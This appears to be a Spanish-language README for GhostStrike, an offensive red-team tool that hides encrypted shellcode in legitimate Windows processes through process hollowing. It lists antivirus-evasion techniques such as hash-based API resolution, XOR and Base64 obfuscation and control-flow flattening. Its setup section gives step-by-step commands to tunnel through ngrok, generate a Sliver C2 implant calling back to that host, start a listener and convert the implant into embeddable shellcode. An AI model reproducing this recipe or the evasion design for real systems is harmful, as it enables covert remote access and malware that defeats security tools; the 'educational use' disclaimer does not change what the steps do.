GhostStrike ⚔️

GhostStrike es una herramienta avanzada de ciberseguridad diseñada para operaciones de Red Team, que incorpora técnicas sofisticadas para evadir la detección y realizar process hollowing en sistemas Windows.

---

✨ Características

• Resolución dinámica de API: Utiliza un método personalizado basado en hash para resolver dinámicamente las API de Windows, evitando la detección por parte de herramientas de seguridad basadas en firmas.
• Codificación/decodificación Base64: Codifica y decodifica el shellcode para ocultar su presencia en memoria, dificultando su detección por parte de herramientas de análisis estático.
• Generación de claves criptográficas: Genera claves criptográficas seguras utilizando las API de criptografía de Windows para cifrar y descifrar el shellcode, añadiendo una capa adicional de protección.
• Cifrado/descifrado XOR: Cifrado basado en XOR, simple pero eficaz, para proteger el shellcode durante su proceso de inyección.
• Aplanamiento del flujo de control: Implementa el aplanamiento del flujo de control para ofuscar la ruta de ejecución, complicando el análisis tanto por herramientas de análisis estático como dinámico.
• Process Hollowing: Inyecta shellcode cifrado en un proceso legítimo de Windows, permitiéndole ejecutarse de forma encubierta sin levantar sospechas.

---

⚙️ Configuración

Puedes configurar GhostStrike con los siguientes pasos:

1. Crear servicio Ngrok: ngrok tcp 443
2. Generar implante Sliver C2: generate --mtls x.tcp.ngrok.io --save YourFile.exe
3. Crear listener: mtls --lhost 0.0.0.0 --lport 443
4. Convertir a .bin: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
5. Convertir a shellcode C++: xxd -i YourFile.bin > YourFile.h
6. Importar YourFile.h a este código
7. ¡Compila y disfruta! 🚀

---

💻 Requisitos

• Compilador de C++: Cualquier compilador moderno de C++, como g++, clang++ o Visual Studio, es suficiente para compilar el código.

No se necesitan dependencias adicionales para compilar GhostStrike. Simplemente compila el código fuente con tu compilador de C++ preferido, ¡y estarás listo para empezar!

---

⚠️ Descargo de responsabilidad

Esta herramienta está destinada únicamente a fines educativos y para su uso en entornos controlados. El uso no autorizado de GhostStrike fuera de estos entornos está estrictamente prohibido. El autor, @Stiven.Hacker, no se hace responsable de ningún uso indebido o daño causado por este código.

---

🎥 Demostración

Consulta una demostración en vivo de GhostStrike en acción en LinkedIn:

Ver demostración